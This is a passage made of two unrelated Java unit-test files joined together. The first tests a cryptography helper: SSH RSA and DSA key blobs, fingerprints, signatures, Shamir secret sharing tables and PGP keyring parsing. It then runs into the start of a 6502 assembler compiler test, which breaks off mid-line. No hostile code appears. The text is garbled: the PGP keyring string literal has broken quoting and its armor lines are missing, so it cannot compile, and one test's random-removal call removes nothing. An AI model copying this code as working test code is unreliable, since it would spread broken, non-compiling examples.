Assert.assertTrue(CryptoHelper.verify("SHA1WithRSA", pubkey, data, Hex.decode(TEST_SHA1WITHRSA_SIG))); } // SSH tests @Test public void testSSHKeyBlobToPublicKey_RSA() { String rsapubkey = "AAAAB3NzaC1yc2EAAAABIwAAAIEA08xecCRox1yCUudqFB4EKTgfp0SkOAXv9o2OxUN8ADsQnw4FFq0qZBC5mJXlaszSHCYb/F2gG3v5iGOvcwp79JiCKx3NkMwYxHarySJi43K3ukciR5dlKv4rnStIV7SkoQE9HxSszYDki4LYnA+6Ct9aDp4cBgNs5Cscy/o3S9k="; byte[] blob = Base64.decode(rsapubkey.getBytes()); PublicKey pubkey = CryptoHelper.sshKeyBlobToPublicKey(blob); Assert.assertEquals("RSA", pubkey.getAlgorithm()); Assert.assertTrue(pubkey instanceof RSAPublicKey); Assert.assertEquals(new BigInteger("23", 16), ((RSAPublicKey) pubkey).getPublicExponent()); Assert.assertEquals(new BigInteger("00d3cc5e702468c75c8252e76a141e0429381fa744a43805eff68d8ec5437c003b109f0e0516ad2a6410b99895e56accd21c261bfc5da01b7bf98863af730a7bf498822b1dcd90cc18c476abc92262e372b7ba47224797652afe2b9d2b4857b4a4a1013d1f14accd80e48b82d89c0fba0adf5a0e9e1c06036ce42b1ccbfa374bd9", 16), ((RSAPublicKey) pubkey).getModulus()); } @Test public void testSSHKeyBlobToPublicKey_DSA() { String dsapubkey = "AAAAB3NzaC1kc3MAAACBAMCN5PhMDoTyfaxwAdBLyxt9QPPYKB36nfEdD/NxkeblbUHAVvTy9paesjHOzXaLFaGA7MIGOMK71OokmExothsxMNjA044TLwonwR/Uy25ig2LVpZlrlrJgrF64AV84Y6rO9UXW9WAwhuvp4a3qPX5hLdhro2a34fbOhUeWNbKvAAAAFQDD3f1U20+RA07jriYJMR8zROr8vQAAAIEArzx1ehDtiCB+gkSMzCl3eYHV7y23rmp524xgxrjL9xlboI2/L69zdpyGM9J+IVAYJARQ9fWKOfMATMu+bvuO2Q6TFvMg1NSEW8MzI+6YGKZt0+muC8gwTdogSrMA0Nh45BAigsU/tjSUYaRFUO/CbnLVulUe2O1Uta4CoraOpCEAAACBAKHWahSYbnDtepBX7tE/lNuAuHAU3Pr8pWHzXI6+SlioNhSEmclG+kr8cI0MXvAgWbKe4dR8ro9sFQY70LeBkdEbhiKOkZ7Tjt3KvxOSo5T727V2P7VuFVOqI7EDlYbysp4BeT5iB0k0qrKp+73qHSv1Py2tr0GAzIAkqufDU3Po"; byte[] blob = Base64.decode(dsapubkey.getBytes()); PublicKey pubkey = CryptoHelper.sshKeyBlobToPublicKey(blob); Assert.assertEquals("DSA", pubkey.getAlgorithm()); Assert.assertTrue(pubkey instanceof DSAPublicKey); Assert.assertEquals(new BigInteger("00c08de4f84c0e84f27dac7001d04bcb1b7d40f3d8281dfa9df11d0ff37191e6e56d41c056f4f2f6969eb231cecd768b15a180ecc20638c2bbd4ea24984c68b61b3130d8c0d38e132f0a27c11fd4cb6e628362d5a5996b96b260ac5eb8015f3863aacef545d6f5603086ebe9e1adea3d7e612dd86ba366b7e1f6ce85479635b2af", 16), ((DSAPublicKey) pubkey).getParams().getP()); Assert.assertEquals(new BigInteger("00c3ddfd54db4f91034ee3ae2609311f3344eafcbd", 16), ((DSAPublicKey) pubkey).getParams().getQ()); Assert.assertEquals(new BigInteger("00af3c757a10ed88207e82448ccc29777981d5ef2db7ae6a79db8c60c6b8cbf7195ba08dbf2faf73769c8633d27e215018240450f5f58a39f3004ccbbe6efb8ed90e9316f320d4d4845bc33323ee9818a66dd3e9ae0bc8304dda204ab300d0d878e4102282c53fb6349461a44550efc26e72d5ba551ed8ed54b5ae02a2b68ea421", 16), ((DSAPublicKey) pubkey).getParams().getG()); Assert.assertEquals(new BigInteger("00a1d66a14986e70ed7a9057eed13f94db80b87014dcfafca561f35c8ebe4a58a836148499c946fa4afc708d0c5ef02059b29ee1d47cae8f6c15063bd0b78191d11b86228e919ed38eddcabf1392a394fbdbb5763fb56e1553aa23b1039586f2b29e01793e62074934aab2a9fbbdea1d2bf53f2dadaf4180cc8024aae7c35373e8", 16), ((DSAPublicKey) pubkey).getY()); } @Test public void testSSHKeyBlobFingerprint() { String rsapubkey = "AAAAB3NzaC1yc2EAAAABIwAAAIEA08xecCRox1yCUudqFB4EKTgfp0SkOAXv9o2OxUN8ADsQnw4FFq0qZBC5mJXlaszSHCYb/F2gG3v5iGOvcwp79JiCKx3NkMwYxHarySJi43K3ukciR5dlKv4rnStIV7SkoQE9HxSszYDki4LYnA+6Ct9aDp4cBgNs5Cscy/o3S9k="; String dsapubkey = "AAAAB3NzaC1kc3MAAACBAMCN5PhMDoTyfaxwAdBLyxt9QPPYKB36nfEdD/NxkeblbUHAVvTy9paesjHOzXaLFaGA7MIGOMK71OokmExothsxMNjA044TLwonwR/Uy25ig2LVpZlrlrJgrF64AV84Y6rO9UXW9WAwhuvp4a3qPX5hLdhro2a34fbOhUeWNbKvAAAAFQDD3f1U20+RA07jriYJMR8zROr8vQAAAIEArzx1ehDtiCB+gkSMzCl3eYHV7y23rmp524xgxrjL9xlboI2/L69zdpyGM9J+IVAYJARQ9fWKOfMATMu+bvuO2Q6TFvMg1NSEW8MzI+6YGKZt0+muC8gwTdogSrMA0Nh45BAigsU/tjSUYaRFUO/CbnLVulUe2O1Uta4CoraOpCEAAACBAKHWahSYbnDtepBX7tE/lNuAuHAU3Pr8pWHzXI6+SlioNhSEmclG+kr8cI0MXvAgWbKe4dR8ro9sFQY70LeBkdEbhiKOkZ7Tjt3KvxOSo5T727V2P7VuFVOqI7EDlYbysp4BeT5iB0k0qrKp+73qHSv1Py2tr0GAzIAkqufDU3Po"; byte[] blob = Base64.decode(rsapubkey.getBytes()); byte[] fpr = CryptoHelper.sshKeyBlobFingerprint(blob); Assert.assertEquals("f9bab47184315d3fa7546043e6341887", new String(Hex.encode(fpr))); blob = Base64.decode(dsapubkey.getBytes()); fpr = CryptoHelper.sshKeyBlobFingerprint(blob); Assert.assertEquals("4694d753ad274c18d2a286f1a326d9ac", new String(Hex.encode(fpr))); } @Test public void testSSHSignatureBlobVerify_DSA() throws Exception { String dsapubkey = "AAAAB3NzaC1kc3MAAACBAMCN5PhMDoTyfaxwAdBLyxt9QPPYKB36nfEdD/NxkeblbUHAVvTy9paesjHOzXaLFaGA7MIGOMK71OokmExothsxMNjA044TLwonwR/Uy25ig2LVpZlrlrJgrF64AV84Y6rO9UXW9WAwhuvp4a3qPX5hLdhro2a34fbOhUeWNbKvAAAAFQDD3f1U20+RA07jriYJMR8zROr8vQAAAIEArzx1ehDtiCB+gkSMzCl3eYHV7y23rmp524xgxrjL9xlboI2/L69zdpyGM9J+IVAYJARQ9fWKOfMATMu+bvuO2Q6TFvMg1NSEW8MzI+6YGKZt0+muC8gwTdogSrMA0Nh45BAigsU/tjSUYaRFUO/CbnLVulUe2O1Uta4CoraOpCEAAACBAKHWahSYbnDtepBX7tE/lNuAuHAU3Pr8pWHzXI6+SlioNhSEmclG+kr8cI0MXvAgWbKe4dR8ro9sFQY70LeBkdEbhiKOkZ7Tjt3KvxOSo5T727V2P7VuFVOqI7EDlYbysp4BeT5iB0k0qrKp+73qHSv1Py2tr0GAzIAkqufDU3Po"; byte[] blob = Base64.decode(dsapubkey.getBytes()); String data = PLAINTEXT; String sigblobstr = "000000077373682d64737300000028b7dccad1bcb058a0e7d9383922bda8d6ff54103724ce30699e12a884d0293f10ba021333d8cebf2e"; byte[] sigBlob = Hex.decode(sigblobstr); Assert.assertTrue(CryptoHelper.sshSignatureBlobVerify(data.getBytes(), sigBlob, CryptoHelper.sshKeyBlobToPublicKey(blob))); } @Test public void testSSHSignatureBlobVerify_RSA() throws Exception { String rsapubkey = "AAAAB3NzaC1yc2EAAAABIwAAAIEA08xecCRox1yCUudqFB4EKTgfp0SkOAXv9o2OxUN8ADsQnw4FFq0qZBC5mJXlaszSHCYb/F2gG3v5iGOvcwp79JiCKx3NkMwYxHarySJi43K3ukciR5dlKv4rnStIV7SkoQE9HxSszYDki4LYnA+6Ct9aDp4cBgNs5Cscy/o3S9k="; byte[] blob = Base64.decode(rsapubkey.getBytes()); String data = PLAINTEXT; String sigblobstr = "000000077373682d727361000000806d97905490be3e1dac74f7825e2a6c3c25693c633bb8f6413c48c9b306a6f7c2620b8fc72d70ff79ccb658ef6415d7ed2025df20967a190ce9b2ab5250c3d8f7ee0e318589e9acf212e99b2b49969c6706f76806dcb1e29d24090b89181021d8ffa401864c3621368d4fe5b89fdd76dd54019e67b014bc8a7827df2c5f59fbfe"; byte[] sigBlob = Hex.decode(sigblobstr); Assert.assertTrue(CryptoHelper.sshSignatureBlobVerify(data.getBytes(), sigBlob, CryptoHelper.sshKeyBlobToPublicKey(blob))); } @Test public void testSSHKeyBlobFromPublicKey_RSA() { String rsapubkey = "AAAAB3NzaC1yc2EAAAABIwAAAIEA08xecCRox1yCUudqFB4EKTgfp0SkOAXv9o2OxUN8ADsQnw4FFq0qZBC5mJXlaszSHCYb/F2gG3v5iGOvcwp79JiCKx3NkMwYxHarySJi43K3ukciR5dlKv4rnStIV7SkoQE9HxSszYDki4LYnA+6Ct9aDp4cBgNs5Cscy/o3S9k="; PublicKey key = CryptoHelper.sshKeyBlobToPublicKey(Base64.decode(rsapubkey.getBytes())); String blob = new String(Base64.encode(CryptoHelper.sshKeyBlobFromPublicKey(key))); Assert.assertEquals(rsapubkey, blob); } @Test public void testSSHKeyBlobFroPublicKey_DSA() { String dsapubkey = "AAAAB3NzaC1kc3MAAACBAMCN5PhMDoTyfaxwAdBLyxt9QPPYKB36nfEdD/NxkeblbUHAVvTy9paesjHOzXaLFaGA7MIGOMK71OokmExothsxMNjA044TLwonwR/Uy25ig2LVpZlrlrJgrF64AV84Y6rO9UXW9WAwhuvp4a3qPX5hLdhro2a34fbOhUeWNbKvAAAAFQDD3f1U20+RA07jriYJMR8zROr8vQAAAIEArzx1ehDtiCB+gkSMzCl3eYHV7y23rmp524xgxrjL9xlboI2/L69zdpyGM9J+IVAYJARQ9fWKOfMATMu+bvuO2Q6TFvMg1NSEW8MzI+6YGKZt0+muC8gwTdogSrMA0Nh45BAigsU/tjSUYaRFUO/CbnLVulUe2O1Uta4CoraOpCEAAACBAKHWahSYbnDtepBX7tE/lNuAuHAU3Pr8pWHzXI6+SlioNhSEmclG+kr8cI0MXvAgWbKe4dR8ro9sFQY70LeBkdEbhiKOkZ7Tjt3KvxOSo5T727V2P7VuFVOqI7EDlYbysp4BeT5iB0k0qrKp+73qHSv1Py2tr0GAzIAkqufDU3Po"; PublicKey key = CryptoHelper.sshKeyBlobToPublicKey(Base64.decode(dsapubkey.getBytes())); String blob = new String(Base64.encode(CryptoHelper.sshKeyBlobFromPublicKey(key))); Assert.assertEquals(dsapubkey, blob); } @Test public void testSSHSignatureBlobSign_RSA() throws Exception { RSAKeyPairGenerator rsakpg = new RSAKeyPairGenerator(); RSAKeyGenerationParameters params = new RSAKeyGenerationParameters(new BigInteger("35"), new SecureRandom(), 2048, 8); rsakpg.init(params); AsymmetricCipherKeyPair kp = rsakpg.generateKeyPair(); RSAPrivateCrtKeyParameters privParams = (RSAPrivateCrtKeyParameters) kp.getPrivate(); RSAKeyParameters pubParams = (RSAKeyParameters) kp.getPublic(); KeySpec ks = new RSAPrivateKeySpec(privParams.getModulus(), privParams.getExponent()); PrivateKey priv = KeyFactory.getInstance("RSA").generatePrivate(ks); ks = new RSAPublicKeySpec(pubParams.getModulus(), pubParams.getExponent()); PublicKey pub = KeyFactory.getInstance("RSA").generatePublic(ks); byte[] data = PLAINTEXT.getBytes(); byte[] sig = CryptoHelper.sshSignatureBlobSign(data, priv); Assert.assertTrue(CryptoHelper.sshSignatureBlobVerify(data, sig, pub)); } @Test public void testSSHSignatureBlobSign_DSA() throws Exception { DSAKeyPairGenerator dsakpg = new DSAKeyPairGenerator(); DSAParametersGenerator dpg = new DSAParametersGenerator(); dpg.init(1024, 8, new SecureRandom()); DSAParameters dsaparams = dpg.generateParameters(); DSAKeyGenerationParameters params = new DSAKeyGenerationParameters(new SecureRandom(), dsaparams); dsakpg.init(params); AsymmetricCipherKeyPair kp = dsakpg.generateKeyPair(); DSAPrivateKeyParameters privParams = (DSAPrivateKeyParameters) kp.getPrivate(); DSAPublicKeyParameters pubParams = (DSAPublicKeyParameters) kp.getPublic(); KeySpec ks = new DSAPrivateKeySpec(privParams.getX(), privParams.getParameters().getP(), privParams.getParameters().getQ(), privParams.getParameters().getG()); PrivateKey priv = KeyFactory.getInstance("DSA").generatePrivate(ks); ks = new DSAPublicKeySpec(pubParams.getY(), pubParams.getParameters().getP(), pubParams.getParameters().getQ(), pubParams.getParameters().getG()); PublicKey pub = KeyFactory.getInstance("DSA").generatePublic(ks); byte[] data = PLAINTEXT.getBytes(); byte[] sig = CryptoHelper.sshSignatureBlobSign(data, priv); Assert.assertTrue(CryptoHelper.sshSignatureBlobVerify(data, sig, pub)); } // Shamir Secret Sharing Scheme @Test public void testSSSSGF256ExpTable() { // GF256 exp table with generator 2 and prime polynomial 0x11D // as used for the Reed Salomon of QR Code short GF256_exptable[] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1d, 0x3a, 0x74, 0xe8, 0xcd, 0x87, 0x13, 0x26, 0x4c, 0x98, 0x2d, 0x5a, 0xb4, 0x75, 0xea, 0xc9, 0x8f, 0x03, 0x06, 0x0c, 0x18, 0x30, 0x60, 0xc0, 0x9d, 0x27, 0x4e, 0x9c, 0x25, 0x4a, 0x94, 0x35, 0x6a, 0xd4, 0xb5, 0x77, 0xee, 0xc1, 0x9f, 0x23, 0x46, 0x8c, 0x05, 0x0a, 0x14, 0x28, 0x50, 0xa0, 0x5d, 0xba, 0x69, 0xd2, 0xb9, 0x6f, 0xde, 0xa1, 0x5f, 0xbe, 0x61, 0xc2, 0x99, 0x2f, 0x5e, 0xbc, 0x65, 0xca, 0x89, 0x0f, 0x1e, 0x3c, 0x78, 0xf0, 0xfd, 0xe7, 0xd3, 0xbb, 0x6b, 0xd6, 0xb1, 0x7f, 0xfe, 0xe1, 0xdf, 0xa3, 0x5b, 0xb6, 0x71, 0xe2, 0xd9, 0xaf, 0x43, 0x86, 0x11, 0x22, 0x44, 0x88, 0x0d, 0x1a, 0x34, 0x68, 0xd0, 0xbd, 0x67, 0xce, 0x81, 0x1f, 0x3e, 0x7c, 0xf8, 0xed, 0xc7, 0x93, 0x3b, 0x76, 0xec, 0xc5, 0x97, 0x33, 0x66, 0xcc, 0x85, 0x17, 0x2e, 0x5c, 0xb8, 0x6d, 0xda, 0xa9, 0x4f, 0x9e, 0x21, 0x42, 0x84, 0x15, 0x2a, 0x54, 0xa8, 0x4d, 0x9a, 0x29, 0x52, 0xa4, 0x55, 0xaa, 0x49, 0x92, 0x39, 0x72, 0xe4, 0xd5, 0xb7, 0x73, 0xe6, 0xd1, 0xbf, 0x63, 0xc6, 0x91, 0x3f, 0x7e, 0xfc, 0xe5, 0xd7, 0xb3, 0x7b, 0xf6, 0xf1, 0xff, 0xe3, 0xdb, 0xab, 0x4b, 0x96, 0x31, 0x62, 0xc4, 0x95, 0x37, 0x6e, 0xdc, 0xa5, 0x57, 0xae, 0x41, 0x82, 0x19, 0x32, 0x64, 0xc8, 0x8d, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xdd, 0xa7, 0x53, 0xa6, 0x51, 0xa2, 0x59, 0xb2, 0x79, 0xf2, 0xf9, 0xef, 0xc3, 0x9b, 0x2b, 0x56, 0xac, 0x45, 0x8a, 0x09, 0x12, 0x24, 0x48, 0x90, 0x3d, 0x7a, 0xf4, 0xf5, 0xf7, 0xf3, 0xfb, 0xeb, 0xcb, 0x8b, 0x0b, 0x16, 0x2c, 0x58, 0xb0, 0x7d, 0xfa, 0xe9, 0xcf, 0x83, 0x1b, 0x36, 0x6c, 0xd8, 0xad, 0x47, 0x8e, 0x01 }; for (int i = 0; i < 256; i++) { Assert.assertEquals(GF256_exptable[i], SSSSGF256Polynomial.GF256_exptable[i]); } } @Test public void testSSSSGF256LogTable() { // GF256 log table with generator 2 and prime polynomial 0x11D // as used for the Reed Salomon of QR Code short GF256_logtable[] = { 0xff, 0x00, 0x01, 0x19, 0x02, 0x32, 0x1a, 0xc6, 0x03, 0xdf, 0x33, 0xee, 0x1b, 0x68, 0xc7, 0x4b, 0x04, 0x64, 0xe0, 0x0e, 0x34, 0x8d, 0xef, 0x81, 0x1c, 0xc1, 0x69, 0xf8, 0xc8, 0x08, 0x4c, 0x71, 0x05, 0x8a, 0x65, 0x2f, 0xe1, 0x24, 0x0f, 0x21, 0x35, 0x93, 0x8e, 0xda, 0xf0, 0x12, 0x82, 0x45, 0x1d, 0xb5, 0xc2, 0x7d, 0x6a, 0x27, 0xf9, 0xb9, 0xc9, 0x9a, 0x09, 0x78, 0x4d, 0xe4, 0x72, 0xa6, 0x06, 0xbf, 0x8b, 0x62, 0x66, 0xdd, 0x30, 0xfd, 0xe2, 0x98, 0x25, 0xb3, 0x10, 0x91, 0x22, 0x88, 0x36, 0xd0, 0x94, 0xce, 0x8f, 0x96, 0xdb, 0xbd, 0xf1, 0xd2, 0x13, 0x5c, 0x83, 0x38, 0x46, 0x40, 0x1e, 0x42, 0xb6, 0xa3, 0xc3, 0x48, 0x7e, 0x6e, 0x6b, 0x3a, 0x28, 0x54, 0xfa, 0x85, 0xba, 0x3d, 0xca, 0x5e, 0x9b, 0x9f, 0x0a, 0x15, 0x79, 0x2b, 0x4e, 0xd4, 0xe5, 0xac, 0x73, 0xf3, 0xa7, 0x57, 0x07, 0x70, 0xc0, 0xf7, 0x8c, 0x80, 0x63, 0x0d, 0x67, 0x4a, 0xde, 0xed, 0x31, 0xc5, 0xfe, 0x18, 0xe3, 0xa5, 0x99, 0x77, 0x26, 0xb8, 0xb4, 0x7c, 0x11, 0x44, 0x92, 0xd9, 0x23, 0x20, 0x89, 0x2e, 0x37, 0x3f, 0xd1, 0x5b, 0x95, 0xbc, 0xcf, 0xcd, 0x90, 0x87, 0x97, 0xb2, 0xdc, 0xfc, 0xbe, 0x61, 0xf2, 0x56, 0xd3, 0xab, 0x14, 0x2a, 0x5d, 0x9e, 0x84, 0x3c, 0x39, 0x53, 0x47, 0x6d, 0x41, 0xa2, 0x1f, 0x2d, 0x43, 0xd8, 0xb7, 0x7b, 0xa4, 0x76, 0xc4, 0x17, 0x49, 0xec, 0x7f, 0x0c, 0x6f, 0xf6, 0x6c, 0xa1, 0x3b, 0x52, 0x29, 0x9d, 0x55, 0xaa, 0xfb, 0x60, 0x86, 0xb1, 0xbb, 0xcc, 0x3e, 0x5a, 0xcb, 0x59, 0x5f, 0xb0, 0x9c, 0xa9, 0xa0, 0x51, 0x0b, 0xf5, 0x16, 0xeb, 0x7a, 0x75, 0x2c, 0xd7, 0x4f, 0xae, 0xd5, 0xe9, 0xe6, 0xe7, 0xad, 0xe8, 0x74, 0xd6, 0xf4, 0xea, 0xa8, 0x50, 0x58, 0xaf, 0x01 }; for (int i = 1; i < 255; i++) { Assert.assertEquals(GF256_logtable[i], SSSSGF256Polynomial.GF256_logtable[i]); } } @Test public void testSSSSSplit_InvalidN() { try { int n = 1; int k = 1; List<byte[]> secrets = CryptoHelper.SSSSSplit(PLAINTEXT.getBytes("UTF-8"), n, k); Assert.assertNull(secrets); n = 256; k = 3; secrets = CryptoHelper.SSSSSplit(PLAINTEXT.getBytes("UTF-8"), n, k); Assert.assertNull(secrets); } catch (Exception e) { Assert.assertTrue(false); } } @Test public void testSSSSSplit_InvalidK() { try { int n = 2; int k = 1; List<byte[]> secrets = CryptoHelper.SSSSSplit(PLAINTEXT.getBytes("UTF-8"), n, k); Assert.assertNull(secrets); n = 2; k = 3; secrets = CryptoHelper.SSSSSplit(PLAINTEXT.getBytes("UTF-8"), n, k); Assert.assertNull(secrets); } catch (Exception e) { Assert.assertTrue(false); } } @Test public void testSSSSRecover() { List<byte[]> secrets = new ArrayList<byte[]>(); secrets.add(Hex.decode("ab1327f622da10069f97743378dce02b6bd797ce0c4b72d1f09ead9e96f027d76625d8e2fe29c2a29ef330e194debc04")); secrets.add(Hex.decode("e7c83a5b4193fe10b568af7e8a5981e99f11bb3840bcc7b2ebc4233ee378a0140189c4384b389d3c379daaf3de16b6cf")); secrets.add(Hex.decode("d755e4d580d9f707c899b8a8ef29ee2595698b0fad871a08bd24217ae7bec109367518688460064e7124e715b69268dc")); secrets.add(Hex.decode("79641dc25fef964d64d2fd2d0f6e2c5040243ed93b6595285faeecb1eb8739b531b89b862d9d5356e233579b819c6348")); List<byte[]> shares = new ArrayList<byte[]>(); shares.addAll(secrets); // Remove a random element shares.remove(Math.random() * shares.size()); byte[] secret = CryptoHelper.SSSSRecover(shares); Assert.assertEquals(PLAINTEXT, new String(secret)); } @Test public void testSSSSRecover_DuplicateShare() { List<byte[]> secrets = new ArrayList<byte[]>(); secrets.add(Hex.decode("ab1327f622da10069f97743378dce02b6bd797ce0c4b72d1f09ead9e96f027d76625d8e2fe29c2a29ef330e194debc04")); secrets.add(Hex.decode("e7c83a5b4193fe10b568af7e8a5981e99f11bb3840bcc7b2ebc4233ee378a0140189c4384b389d3c379daaf3de16b6cf")); secrets.add(Hex.decode("e7c83a5b4193fe10b568af7e8a5981e99f11bb3840bcc7b2ebc4233ee378a0140189c4384b389d3c379daaf3de16b6cf")); byte[] secret = CryptoHelper.SSSSRecover(secrets); Assert.assertNull(secret); } // PGP @Test public void testPGPKeysFromKeyRing() throws IOException { String keyring = " "Version: GnuPG v1.4.6 (Darwin)\n" + "\n" + "mQGiBFDfB/cRBADE6Ee9TtA961l9dtQYauMJ5LCo/YWhz1dft0KmqI7k7sKWLKfz\n" + "OhTOnT61fwEhHdHlOwQdCD7EpeKEGfSWxeajdtuKE9/QP+PJalGA5s48XrdqfrkA\n" + "QJkK+77atAixoi4r9ozljP9vXHIltAlDkaoDdRZcVe1J+pW0Kw7AGHvA/wCgvwKI\n" + "cuyep7ViScOXkCwZ6+7eFqsD/RLzBN7mb2h+yEY+XvFqQPvenvZS/sw3JZf/cY4u\n" + "Mi+FzkTb0BB1X75skLvvO1JYpraGphSB075LzHW/ohKQacaY74rpxpxIZz9EjHTa\n" + "JSmLTT6SBQMlX+LSNwHQYQWPzitQ1os6LRmgiE5pfZGlvOLyC+sHeDxUzPEl1069\n" + "NqXEA/9r1e4eAu7HLED2XIP3fgOV/kkDrJC1EX0N8Ck/ON0S+hJYK1b0W6TKWdN6\n" + "tVH/OL37tymsfI+qSEhKNVe2sDcybG6trJj528puJdVpb2wqMwbCdxx7Cr3wX61x\n" + "jFQJQwqyXCWakPbWfhxvron62/RamTmf2KSMgf79yv29WOE5+7QbTWFzdGVyU2Vj\n" + "cmV0R2VuZXJhdG9yVGVzdCMxiGYEExECACYFAlDfB/cCGwMFCQABUYAGCwkIBwMC\n" + "BBUCCAMEFgIDAQIeAQIXgAAKCRD3wPNFoZ4UAw4KAJ47rbv6e5oy0p0qOu1YjCUn\n" + "7Sm+PACePylkvbBc7jkoJrc8n+2ZJRBL/vK5Ag0EUN8H/BAIAJdLjwQf2NwhkW/9\n" + "h7wV2luiCvzwPxhvOytPM9ZtckyK3f9Biam29uZt2P/EgYAlEb7odHuQ8rYquuM8\n" + "rZ5bNMY4SlgDfGTAYIPTC6r3oPoxVzg3bfL/VfAQWZTz7gsNexBqoxmCEGG8cbp4\n" + "/YYTArrW0pdAjIve/H2Wb3C6+ntbPXq60BJTlpbJXh3CPL95jUF0bJbt/WwOdE5r\n" + "TQ0WKikTY8RV18XekJAHRT0PrHjecAsvY1NOXlQJGbJes7unQDdCkQ2RRbg4Vdt4\n" + "SHSdKunIIxbLEOj6HuJyvkbQ65yHSnfLtoS2XpNe9ft/+ZtXjHsr01XE0cqbrSwf\n" + "GqO9068AAwcIAJS0myak/K/rqwC/MGQ7U4OEovVY/n9mpPwQKN0bUSU/uDLKy3JW\n" + "vqO5vvWr9iWqyq/GfPeJ2HZ/kvGiyR7Qy/7gh8Q8yDLn9qrz06ewd9G3Tyxj8n80\n" + "re0vRopQsyKNLhtC5ZEtq9Q3yfqt7ib8sf8hLlxCzpDNlIUdbTqpFcnfxc8p7aQB\n" + "4lqrT32fGtYtDjUt86VzT4LCRNTgMOxPF5iYOiOzB0iX7oPoCqGFxl0ZTvxqMpgV\n" + "/hr8CWJlW3AAcc3l2HONQe/Gg5nrTtm72i0vH8n8F/GgfZmU8KJc7c7cFhtGDTWV\n" + "dkNjrqBtuiuKpZcwf14stCFfAmZXeYZ+xTCITwQYEQIADwUCUN8H/AIbDAUJAAFR\n" + "gAAKCRD3wPNFoZ4UA9oLAJsFL3JRi2zHxwutO7PqMfItSub0cACgs7BQ3nPA5DP+\n" + "Hhr3Xwsu7+wSOKk=\n" + "=H4+g\n" + " List<PGPPublicKey> pubkeys = CryptoHelper.PGPPublicKeysFromKeyRing(keyring); Assert.assertEquals(2, pubkeys.size()); Set<Long> keyids = new HashSet<Long>(); for (PGPPublicKey key: pubkeys) { keyids.add(key.getKeyID()); } Assert.assertTrue(keyids.contains(0xf7c0f345a19e1403L)); Assert.assertTrue(keyids.contains(0x60744f29e427916cL)); } // SSHAgent }
package com.rox.emu.p6502; import com.pholser.junit.quickcheck.Property; import com.pholser.junit.quickcheck.generator.InRange; import com.pholser.junit.quickcheck.runner.JUnitQuickcheck; import com.rox.emu.UnknownOpCodeException; import com.rox.emu.p6502.op.AddressingMode; import com.rox.emu.p6502.op.OpCode; import org.junit.Test; import org.junit.runner.RunWith; import java.util.Arrays; import static org.junit.Assert.*; /** * # - Memory * $ - Value * * #$V - Immediate * #VV - Accumulator * $V / $ VV - Zero Page * $V,X / $VV,X - Zero Page[X] * $V,Y / $VV,Y - Zero Page[Y] * $VVV / $VVVV - Absolute * $VVV,X / $VVVV,X - Absolute[X] * $VVV,Y / $VVVV,Y - Absolute[Y] * ($V,X) / ($VV,X) - Indirect, X * ($V),Y / ($VV),Y - Indirect, Y * * | $[ V_Z | V_ABS ] ] */ @RunWith(JUnitQuickcheck.class) public class CompilerTest { @Test public void testPrefixExtraction(){ try { assertEquals("$", Compiler.extractFirstOccurrence(Compiler.PREFIX_REGEX, "$10", "LDA")); assertEquals("#$", Compiler.extractFirstOccurrence(Compiler.PREFIX_REGEX, "#$10", "ADC")); assertEquals("$", Compiler.extractFirstOccurrence(Compiler.PREFIX_REGEX, "$AA", "LDA")); assertEquals("#$", Compiler.extractFirstOccurrence(Compiler.PREFIX_REGEX, "#$AA", "ADC")); assertEquals("($", Compiler.extractFirstOccurrence(Compiler.PREFIX_REGEX, "($AA,X)", "ADC")); }catch (UnknownOpCodeException e){ fail(e.getMessage()); } } @Test public void testValueExtraction(){ try { assertEquals("10", Compiler.extractFirstOccurrence(Compiler.VALUE_REGEX, "$10", "LDA")); assertEquals("10", Compiler.extractFirstOccurrence(Compiler.VALUE_REGEX, "#$10", "LDA")); assertEquals("AA", Compiler.extractFirstOccurrence(Compiler.VALUE_REGEX, "$AA", "LDA")); assertEquals("AA", Compiler.extractFirstOccurrence(Compiler.VALUE_REGEX, "#$AA", "LDA")); assertEquals("AA", Compiler.extractFirstOccurrence(Compiler.VALUE_REGEX, "($AA,X)", "ADC")); }catch (UnknownOpCodeException e){ fail(e.getMessage()); } } @Test public void testPostfixExtraction(){ try { assertEquals(",X", Compiler.extractFirstOccurrence(Compiler.POSTFIX_REGEX, "$10,X", "LDA")); assertEquals(",Y", Compiler.extractFirstOccurrence(Compiler.POSTFIX_REGEX, "$AA,Y", "LDA")); assertEquals(",X)", Compiler.extractFirstOccurrence(Compiler.POSTFIX_REGEX, "($AA,X)", "ADC")); }catch (UnknownOpCodeException e){ fail(e.getMessage()); } } @Test public void testImpliedInstructions(){ OpCode.streamOf(AddressingMode.IMPLIED).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName()); int[] bytes = compiler.getBytes(); assertEquals("Wrong byte value for " + opcode.getOpCodeName() + "(" + opcode.getByteValue() + ")", opcode.getByteValue(), bytes[0]); }); } @Property public void testImmediateInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.IMMEDIATE).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.IMMEDIATE_VALUE_PREFIX + hexByte); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testAccumulatorInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.ACCUMULATOR).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.IMMEDIATE_PREFIX + hexByte); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testZeroPageInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.ZERO_PAGE).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + Compiler.VALUE_PREFIX + hexByte); int[] bytes = compiler.getBytes(); assertArrayEquals("Output for '" + opcode.toString() + "' was wrong.", new int[] {opcode.getByteValue(), byteValue}, bytes); }); } @Property public void testZeroPageXInstructions(@InRange(min = "0", max = "255") int byteValue){ final String hexByte = Integer.toHexString(byteValue); OpCode.streamOf(AddressingMode.ZERO_PAGE_X).forEach((opcode)->{ Compiler compiler = new Compiler(opcode.getOpCodeName() + " " + 